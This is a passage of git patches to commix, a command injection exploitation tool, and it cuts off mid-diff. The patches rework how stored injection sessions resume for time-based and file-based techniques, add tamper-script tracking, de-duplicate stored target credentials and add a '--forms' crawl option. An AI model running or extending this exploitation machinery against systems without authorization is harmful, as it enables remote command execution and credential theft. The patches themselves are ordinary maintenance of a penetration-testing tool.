min_safe_delay = settings.MIN_SAFE_TIMESEC if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay: - info_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + "s. In case of inconsistencies, increase it manually." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return min_safe_delay else: return max(settings.TIMESEC, min_safe_delay) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d416767500..68050798c7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -32,6 +32,7 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.blind.techniques.time_based import tb_handler from src.core.injections.semiblind.techniques.file_based import fb_handler +from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler from src.core.injections.results_based.techniques.classic import cb_handler from src.core.injections.results_based.techniques.eval_based import eb_handler @@ -87,10 +88,13 @@ def init_cookie_injection_status(): Check for previously stored sessions. """ def check_for_stored_sessions(url, check_parameter, http_request_method): + settings.STORED_TECHNIQUES = {} if not menu.options.ignore_session and not menu.options.flush_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if settings.LOAD_SESSION == None: - url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + # Check every call site instead of only the first parameter or header. + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + # Load stored techniques once so each technique can resume without re-querying. + settings.STORED_TECHNIQUES = session_handler.load_stored_techniques(url, check_parameter, http_request_method) return url, check_parameter """ @@ -288,7 +292,14 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m settings.FILE_BASED_STATE = None if not settings.SKIP_COMMAND_INJECTIONS: if (len(menu.options.tech) == 0 or "f" in menu.options.tech): - if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: + # Resume parameters resolved via tempfile fallback instead of retrying file-based first. + if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ + and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES: + # Skip the writable-directory prompt when resuming without live probing. + result = tfb_handler.exploitation(url, timesec, filename, "", http_request_method, url_time_response) + else: + result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + if result != False: settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True checks.skip_testing(filename, url) else: diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index f68bb129cb..bf47a9299c 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -205,8 +205,10 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: checks.testing_technique_title(injection_type, technique) + # Re-check tamper compatibility now that the technique and target OS are known. + checks.tamper_scripts(stored_tamper_scripts=True) prefixes = settings.PREFIXES suffixes = settings.SUFFIXES @@ -221,28 +223,31 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # If a previous session is available. + # If a previous session is available for this specific technique. exec_time_statistic = [] - if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): + resumed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) # Re-apply the minimum safe delay to the stored session. if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): timesec = max(timesec, settings.MIN_SAFE_TIMESEC) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: settings.TIME_BASED_STATE = True - elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: settings.TEMPFILE_BASED_STATE = True - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) cmd = shell = "" checks.check_for_stored_tamper(payload) settings.FOUND_EXEC_TIME = exec_time settings.FOUND_DIFF = exec_time - timesec possibly_vulnerable = True + resumed = True except TypeError: checks.error_loading_session_file() - if not settings.LOAD_SESSION: + if not resumed: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator @@ -394,11 +399,11 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Yaw, got shellz! # Do some magic tricks! if checks.time_related_shell(url_time_response, exec_time, timesec): - if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): + if (len(TAG) == output_length) and (possibly_vulnerable == True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False # Export session - if not settings.LOAD_SESSION: + if not resumed: shell = "" checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) @@ -470,8 +475,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec suffixes = settings.SUFFIXES separators = settings.SEPARATORS - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: checks.testing_technique_title(injection_type, technique) + # Re-check tamper compatibility now that the technique and target OS are known. + checks.tamper_scripts(stored_tamper_scripts=True) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: url_time_response = 0 tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) @@ -488,15 +495,17 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method): + # If a previous session is available for this specific technique. + resumed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True checks.check_for_stored_tamper(payload) tmp_path = "" - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) if re.findall(settings.DIRECTORY_REGEX,payload): filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] settings.WEB_ROOT = os.path.dirname(filepath) @@ -510,10 +519,11 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: settings.EVAL_BASED_STATE = True checks.check_for_stored_tamper(payload) + resumed = True except TypeError: checks.error_loading_session_file() - if not settings.LOAD_SESSION: + if not resumed: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator @@ -647,7 +657,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec found = True no_result = False # Export session - if not settings.LOAD_SESSION: + if not resumed: checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 57cd2008cf..b956f1f69d 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -439,10 +439,9 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese return exec_time, "" """ -Prompt the user to confirm or set a custom filename for command execution output. -Returns the chosen filename. +Get the command output filename, skipping the prompt when resuming. """ -def select_output_filename(technique, tmp_path, TAG): +def select_output_filename(technique, tmp_path, TAG, prompt=True): # Ensure tmp_path ends with a slash for safe concatenation if tmp_path and not tmp_path.endswith("/"): tmp_path += "/" @@ -461,7 +460,7 @@ def select_output_filename(technique, tmp_path, TAG): # Generate default filename OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT - while True: + while prompt: message = "Do you want to use a random file '" + OUTPUT_TEXTFILE message += "' to receive the command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 604710aab3..574c395ac6 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -33,8 +33,8 @@ def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): """ """ -def select_output_filename(technique, tmp_path, TAG): - return injector.select_output_filename(technique, tmp_path, TAG) +def select_output_filename(technique, tmp_path, TAG, prompt=True): + return injector.select_output_filename(technique, tmp_path, TAG, prompt=prompt) """ Command execution results. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 8f7b4cf881..5a6405461e 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -28,8 +28,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ """ -def select_output_filename(technique, tmp_path, TAG): - return injector.select_output_filename(technique, tmp_path, TAG) +def select_output_filename(technique, tmp_path, TAG, prompt=True): + return injector.select_output_filename(technique, tmp_path, TAG, prompt=prompt) """ False Positive check and evaluation. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d198b891bf..7c2b432813 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -364,7 +364,11 @@ def json_int_check(parameter, value): if settings.INJECT_TAG in value and not checks.quoted_value(value) in parameter: value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value.lstrip()) parameter = parameter.replace(value, checks.quoted_value(value)) - parameter = json_format(parameter) + try: + parameter = json_format(parameter) + except Exception: + # Fall back to the raw value if JSON formatting fails. + return parameter _ = True if isinstance(parameter, list): @@ -598,7 +602,11 @@ def vuln_POST_param(parameter, url): # JSON data format. if settings.IS_JSON: - flat = flatten(json.loads(parameter, object_pairs_hook=OrderedDict)) + try: + flat = flatten(json.loads(parameter, object_pairs_hook=OrderedDict)) + except Exception: + # Return unchanged if the value is not valid JSON. + return parameter vuln_key = None for key in flat: if settings.INJECT_TAG in str(flat[key]): diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index fe6a4ad711..87f748b4f2 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -43,7 +43,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: try: payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) - except: + except Exception: pass return payload diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 55db59e60e..1aedfa9a6d 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -38,7 +38,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0: try: payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) - except: + except Exception: pass return payload diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 1839c5ad4f..df8257a5d6 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -39,6 +39,12 @@ def split_url(url): return url.split("?")[0] +""" +Escape SQL LIKE wildcard characters so they're matched literally. +""" +def escape_like(value): + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + """ Return SHA1 hash of the given text (UTF-8 encoded). Used for obfuscating hostnames in SQLite table names. @@ -46,12 +52,24 @@ def split_url(url): def sha1_hash(text): return hashlib.sha1(text.encode('utf-8')).hexdigest() +""" +Map stored technique names to their "--technique" menu letters. +""" +def technique_letter(technique_info): + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + return technique_info.split()[2][0] + if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + return settings.INJECTION_TECHNIQUE.FILE_BASED[0] + return technique_info[0] + """ Extract the host from a full URL string. Example: from 'http://example.com/path' returns 'example.com' """ def get_host_from_url(url): - return url.split('//', 1)[1].split('/', 1)[0] + if '//' in url: + url = url.split('//', 1)[1] + return url.split('/', 1)[0] """ Generate a SQLite table name based on the SHA1 hash of the URL's host. @@ -155,35 +173,32 @@ def import_injection_points(url, technique, injection_type, filename, separator, "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR);") # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " - "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? LIMIT 1;") - - params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter), + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? LIMIT 1;") + + params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), - int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie)) + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), + str(menu.options.tamper or "")) - # Apply urlencode_base64_padding to all string elements in params - # This ensures that any base64 padding is safely URL-encoded before database insertion. - params = tuple( - x.replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)) - if isinstance(x, str) and settings.BASE64_PADDING in x else x - for x in params - ) + # URL-encode base64 padding in the URL field. + if settings.BASE64_PADDING in params[0]: + params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] cursor = conn.execute(query_check, params) - + # Insert new record only if no identical record exists if cursor.fetchone() is None: conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() conn.close() @@ -213,15 +228,11 @@ def applied_techniques(url, http_request_method): query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" result = conn.execute(query, (table,)) if result: - query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ?;" - cursor = conn.execute(query, ("%" + split_url(url) + "%",)).fetchall() + query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" + cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() for session in cursor: technique_info = session[0] - if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - technique = technique_info.split()[2][0] - else: - technique = technique_info[0] - techniques.append(technique) + techniques.append(technique_letter(technique_info)) conn.close() techniques = list(set(techniques)) techniques = "".join(str(x) for x in techniques) @@ -229,7 +240,7 @@ def applied_techniques(url, http_request_method): except sqlite3.OperationalError: settings.LOAD_SESSION = None return techniques - except: + except Exception: settings.LOAD_SESSION = None return techniques @@ -246,8 +257,8 @@ def applied_levels(url, http_request_method): query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" result = conn.execute(query, (table,)) if result: - query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ?;" - cursor = conn.execute(query, ("%" + split_url(url) + "%",)).fetchall() + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" + cursor = conn.execute(query, ("%" + escape_like(split_url(url)) + "%",)).fetchall() for session in cursor: http_header = session[0] level = int(session[1]) @@ -261,20 +272,19 @@ def applied_levels(url, http_request_method): except sqlite3.OperationalError: settings.LOAD_SESSION = None return level - except: + except Exception: settings.LOAD_SESSION = None return level """ -Check the session database for stored injection points matching the given URL and parameter. -If found, updates the relevant settings and returns stored vulnerable parameter information. +Load a matching stored injection point and update settings when found. """ def check_stored_injection_points(url, check_parameter, http_request_method): try: found = False - techniques = set() vuln_parameter = check_parameter + session_url = url table = table_name(url) + "_ip" # Ensure table name is safe (only alphanumeric + underscore) @@ -291,29 +301,28 @@ def check_stored_injection_points(url, check_parameter, http_request_method): return url, check_parameter # Fetch stored sessions for matching URL - like_url = "%" + split_url(url) + "%" - query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ?;" + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\';" cursor.execute(query, (like_url,)) sessions = cursor.fetchall() for session in sessions: - session_url = session[1] technique_info = session[2] vuln_param = session[6] http_header = session[12] - - # Parse technique - if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - technique = technique_info.split()[2][0] - else: - technique = technique_info[0] + stored_method = session[13] + + # A stored point only applies to the exact parameter/method being tested. + if check_parameter not in (vuln_param, http_header) or stored_method != http_request_method: + continue - techniques.add(technique) + technique = technique_letter(technique_info) if technique in menu.options.tech: found = True # Prefer more specific vulnerable parameter (e.g., HTTP header), if available vuln_parameter = vuln_param or http_header + session_url = session[1] cookie = session[20] if len(session) > 20 else None if cookie: @@ -340,75 +349,65 @@ def check_stored_injection_points(url, check_parameter, http_request_method): """ -Retrieve detailed stored injection point information from the session database matching -URL, technique, injection type, and HTTP method. -Returns False if no matching session is found. +Fetch every stored injection point for this (host, parameter/header, method) +in one query, keyed by technique - avoids re-querying storage per technique. """ -def export_injection_points(url, technique, injection_type, http_request_method): +def load_stored_techniques(url, check_parameter, http_request_method): + stored = {} try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_ip" - - # Check if table exists safely cursor = conn.cursor() cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) if not cursor.fetchall(): - settings.LOAD_SESSION = None - return False - - # Prepare query with parameters - like_url = "%" + split_url(url) + "%" - query = ("SELECT * FROM \"" + table + "\" WHERE url LIKE ? AND technique = ? " - "AND injection_type = ? AND http_request_method = ?;") - cursor.execute(query, (like_url, technique, injection_type, http_request_method)) - sessions = cursor.fetchall() - - if sessions: - for session in sessions: - url = session[1] - technique = session[2] - injection_type = session[3] - separator = session[4] - shell = session[5] - vuln_parameter = session[6] - prefix = session[7] - suffix = session[8] - TAG = session[9] - alter_shell = session[10] - payload = session[11] - http_header = session[12] - http_request_method = session[13] - url_time_response = session[14] - timesec = session[15] - exec_time = session[16] - output_length = session[17] - is_vulnerable = session[18] - data = session[19] - cookie = session[20] - - if http_header: - settings.HTTP_HEADER = http_header - if cookie: - menu.options.cookie = cookie - if data: - settings.IGNORE_USER_DEFINED_POST_DATA = False - menu.options.data = data - if settings.INJECTION_LEVEL != is_vulnerable: - settings.INJECTION_LEVEL = int(is_vulnerable) - - return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, - TAG, alter_shell, payload, http_request_method, url_time_response, timesec, - exec_time, output_length, is_vulnerable) - - settings.LOAD_SESSION = None - return False - + return stored + + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" + cursor.execute(query, (like_url, http_request_method)) + + for session in cursor.fetchall(): + row = session[1:] + technique, vuln_parameter, http_header = row[1], row[5], row[11] + if check_parameter not in (vuln_parameter, http_header): + continue + stored[technique] = row + return stored except sqlite3.OperationalError: - settings.LOAD_SESSION = None - return False - except: - settings.LOAD_SESSION = None - return False + return stored + except Exception: + return stored + +""" +Restore stored technique state and resume without querying the database again. +""" +def apply_stored_technique(row): + (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, + TAG, alter_shell, payload, http_header, http_request_method, url_time_response, + timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] + # Older sessions (pre-tamper-column) won't have this field - default to "". + tamper = row[20] if len(row) > 20 else "" + + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) + if tamper: + if menu.options.tamper and menu.options.tamper != tamper: + warn_msg = ("The stored session was found using tamper script(s) '" + tamper + "', " + "which differs from the '--tamper' value provided now ('" + menu.options.tamper + + "'). Using the stored value to replay this technique consistently.") + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + menu.options.tamper = tamper + + return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, + TAG, alter_shell, payload, http_request_method, url_time_response, timesec, + exec_time, output_length, is_vulnerable) """ @@ -467,9 +466,15 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " "username VARCHAR, password VARCHAR);") - conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", - (url, authentication_type, admin_panel, username, password)) - conn.commit() + # Skip the insert if this exact credential is already stored, so repeated + # runs against the same target don't keep piling up identical rows. + cursor = conn.execute("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND authentication_type = ? AND " + "admin_panel = ? AND username = ? AND password = ? LIMIT 1;", + (url, authentication_type, admin_panel, username, password)) + if cursor.fetchone() is None: + conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", + (url, authentication_type, admin_panel, username, password)) + conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -484,8 +489,8 @@ def export_valid_credentials(url, authentication_type): try: conn = sqlite3.connect(settings.SESSION_FILE) table = table_name(url) + "_creds" - like_url = "%" + split_url(url) + "%" - query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? AND authentication_type = ?;" + like_url = "%" + escape_like(split_url(url)) + "%" + query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND authentication_type = ?;" cursor = conn.execute(query, (like_url, authentication_type)).fetchall() conn.close() if cursor: diff --git a/src/utils/settings.py b/src/utils/settings.py index d42fb35030..5d1bca6c10 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -264,7 +264,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "67" +REVISION = "68" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1087,6 +1087,8 @@ class INJECTION_TECHNIQUE(object): # Session Handler SESSION_FILE = "" LOAD_SESSION = None +# Cache stored techniques per parameter to avoid repeated session database queries. +STORED_TECHNIQUES = {} # Path to file containing desktop/browser User-Agent strings USER_AGENT_LIST = os.path.join(TXT_DIR, "user-agents.txt") @@ -1159,7 +1161,7 @@ class AUTH_TYPE(object): ] WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [ - "backslashes" + "backslashes", "dollaratsigns", "backticks", "nested", @@ -1174,7 +1176,7 @@ class AUTH_TYPE(object): ] EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [ - "backslashes" + "backslashes", "caret", "dollaratsigns", "doublequotes", From eb004e575836d105c8df3a3768f7cee152a6d0e6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Aug 2026 08:42:18 +0300 Subject: [PATCH 0725/1023] Added a new `--forms` switch to parse and test forms on the target URL (requires `--crawl`) --- doc/CHANGELOG.md | 7 +- src/core/main.py | 94 ++++++++++++++++++- src/thirdparty/beautifulsoup/beautifulsoup.py | 3 + src/utils/crawler.py | 84 ++++++++++++++--- src/utils/menu.py | 6 ++ src/utils/session_handler.py | 3 +- src/utils/settings.py | 5 +- 7 files changed, 181 insertions(+), 21 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 08336b5aab..60cc95a7c5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). * Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. * Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. @@ -9,7 +10,7 @@ * Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. * Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. * Revised: Refactored `--time-sec` option to apply only to time-related techniques. -* Revised: The deprecated `--tor-check` flag has been removed, and Tor connectivity is now handled internally with no separate check option. +* Revised: The deprecated `--tor-check` switch has been removed, and Tor connectivity is now handled internally with no separate check option. * Revised: Improved handling of injectable parameters in JSON objects. * Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. * Added: Standardized JSON output formatting with 2-space indentation. @@ -102,13 +103,13 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Added: Farsi(Persian) translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) (via @verfosec). -* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). +* Fixed: Minor bug-fix regarding `--skip-empty` switch, for skipping the testing of the parameter(s) with empty value(s). * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). * Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands. * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). -* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). +* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` switch). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). * Added: Support for `Bearer` HTTP authentication type. * Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). diff --git a/src/core/main.py b/src/core/main.py index f8b96b3faa..5a3817ed69 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -863,6 +863,11 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + if menu.options.forms and not settings.CRAWLING: + err_msg = "The '--forms' switch requires the '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Check arguments if len(sys.argv) == 1 and not 